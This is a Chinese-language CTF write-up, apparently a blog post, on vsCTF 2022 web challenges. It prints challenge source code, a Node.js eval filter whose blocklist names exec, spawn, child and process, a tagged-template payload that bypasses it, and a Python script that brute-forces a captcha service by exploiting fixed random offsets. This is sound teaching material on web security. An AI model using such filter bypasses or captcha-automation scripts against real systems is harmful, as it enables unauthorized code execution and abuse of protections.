[vsCTF2022]web题目复现

Baby Eval

const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});

nodejs的eval命令执行,过滤了很多,利用

?payload=directory`flag`

vsCAPTCHA

进入页面需要我们输入验证码

image-20220713002134009

根据图示:我们需要在每一轮也就是10s内正确输入验证码,总共输入正确1000次,验证码结果为两数相加

抓包发现x-captcha-state字段,是一段jwt,解码看一下

image-20220713002652392

猜测字段含义:

  • exp:表示令牌不再有效的时间戳
  • jti : 唯一标识符,用于区分我们的token和其他token
  • failed:指示一步是否验证失败
  • numCaptchasSolved : 验证的步骤数

第一种思路是将令牌中numCaptchasSolved的值更改为 1000,然后发送它来欺骗服务器,使其认为已经验证了1000次。但是,JWT 是经过签名的,尝试之后发现现有方法都不行,因此必须找到另一种方法。

另一种思路是使用 OCR 来检索验证码的内容,但在如此有限的时间内,显得很繁琐且不一定成功。

我们需要另辟蹊径,仔细观察每次的验证码,似乎生成的数都是相近的,我们不妨查看一下它的生成逻辑。

代码结构:

├── __MACOSX
│   └── vsCAPTCHA
│       └── static
├── vsCAPTCHA
│   ├── Dockerfile
│   ├── generate.sh
│   ├── src
│   │   └── main.ts
│   └── static
│       └── index.html
└── vsCAPTCHA.rar

看到main.ts

import { createCaptcha } from "https://deno.land/x/captcha@v1.0.1/mods.ts";
import * as jose from "https://deno.land/x/jose@v4.8.3/index.ts";
import { Application, Router } from "https://deno.land/x/oak@v10.6.0/mod.ts";

const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}";
const captchaSolutions = new Map();

interface CaptchaJWT {
  exp: number;
  jti: string;
  flag?: string;
  failed: boolean;
  numCaptchasSolved: number;
}

const jwtKey = await jose.importPKCS8(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")),
  "RS256"
);
const jwtPubKey = await jose.importSPKI(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")),
  "RS256"
);

const app = new Application();
const router = new Router();

const b1 = Math.floor(Math.random() * 500);
const b2 = Math.floor(Math.random() * 500);

router.get("/", (ctx) => {
  return ctx.send({
    path: "index.html",
    root: "./static",
  });
});

router.post("/captcha", async (ctx) => {
  const stateJWT = ctx.request.headers.get("x-captcha-state");
  const body = await ctx.request.body({
    type: "json",
  }).value;
  const solution = body.solution;

  let jwtPayload: CaptchaJWT = {
    // 10 seconds to solve
    exp: Math.round(Date.now() / 1000) + 10,
    jti: crypto.randomUUID(),
    failed: false,
    numCaptchasSolved: 0,
  };

  if (stateJWT) {
    try {
      const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey);
      jwtPayload.numCaptchasSolved = payload.numCaptchasSolved;

      if (
        !captchaSolutions.get(payload.jti) ||
        captchaSolutions.get(payload.jti) !== solution
      ) {
        const jwt = await new jose.SignJWT({
          failed: true,
          numCaptchasSolved: payload.numCaptchasSolved,
          exp: payload.exp,
        })
          .setProtectedHeader({ alg: "RS256" })
          .sign(jwtKey);

        ctx.response.headers.set("x-captcha-state", jwt);
        ctx.response.status = 401;
        return;
      }
    } catch {
      ctx.response.status = 400;
      return;
    }

    jwtPayload.numCaptchasSolved += 1;
  }

  const num1 = Math.floor(Math.random() * 7) + b1;
  const num2 = Math.floor(Math.random() * 3) + b2;

  const captcha = createCaptcha({
    width: 250,
    height: 150,
    // @ts-ignore provided options are merged with default options
    captcha: {
      text: `${num1} + ${num2}`,
    },
  });

  ctx.response.headers.set("content-type", "image/png");
  if (jwtPayload.numCaptchasSolved >= 1000) {
    jwtPayload.flag = FLAG;
  }
  ctx.response.headers.set(
    "x-captcha-state",
    await new jose.SignJWT(jwtPayload as unknown as jose.JWTPayload)
      .setProtectedHeader({ alg: "RS256" })
      .sign(jwtKey)
  );
  captchaSolutions.set(jwtPayload.jti, num1 + num2);
  ctx.response.status = 200;

  ctx.response.body = captcha.image;
});

app.use(router.routes());

await app.listen({ port: 8080 });

服务器初始化的时候会同时初始两个全局变量直到服务器关闭

const b1 = Math.floor(Math.random() * 500);
const b2 = Math.floor(Math.random() * 500);

Math.random() 生成一个介于 0 (包含)和 1 (不包括)之间的伪随机数

  • b1 的值介于 0 *(包括)*和 500 *(不包括)*之间
  • b2 的值介于 0 *(包括)*和 500 *(不包括)*之间

而生成验证码的逻辑

const num1 = Math.floor(Math.random() * 7) + b1;
const num2 = Math.floor(Math.random() * 3) + b2;

  const captcha = createCaptcha({
    width: 250,
    height: 150,
    // @ts-ignore provided options are merged with default options
    captcha: {
      text: `${num1} + ${num2}`,
    },
  });

这下很好理解了,验证码的范围:

  • num1=[b1,b1+1,b1+2,b1+3,b1+4,b1+5,b1+6,b1+7[
  • num2=[b2,b2+1,b2+2,b2+3[

那么多观察几次就会发现b1 = 154b2 = 425,并且这两个数字不会更改是全局变量

因此

num1的值将在以下范围内:[154,155,156,157,158,159,160]

num2的值将在以下范围内:[425,426,427]

验证码的范围:[579, 580, 581, 582, 583, 584, 585, 586, 587]

最终写一个脚本:

import sys
import json
import base64
import requests

url = "https://vscaptcha-twekqonvua-uc.a.run.app"

res = requests.post(f"{url}/captcha", data="{}")
x_captcha_state = res.headers["x-captcha-state"]
print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode())

while True:
    for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427]
        res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state})
        if len(res.content) == 0: # Speed up!!
            continue
        try:
            state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode()
        except:
            print(res.headers["x-captcha-state"]) # Padding error?
        json_state = json.loads(state)
        print(state)
        if json_state["failed"] == False:
            if json_state["numCaptchasSolved"] >= 1000:
                print(f"Flag: {json_state['flag']}")
                sys.exit()
            x_captcha_state = res.headers["x-captcha-state"]
            break

这里远程环境有问题,我本地起了一个来跑

image-20220713012831399

Baby Wasm

web汇编,以后补上

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值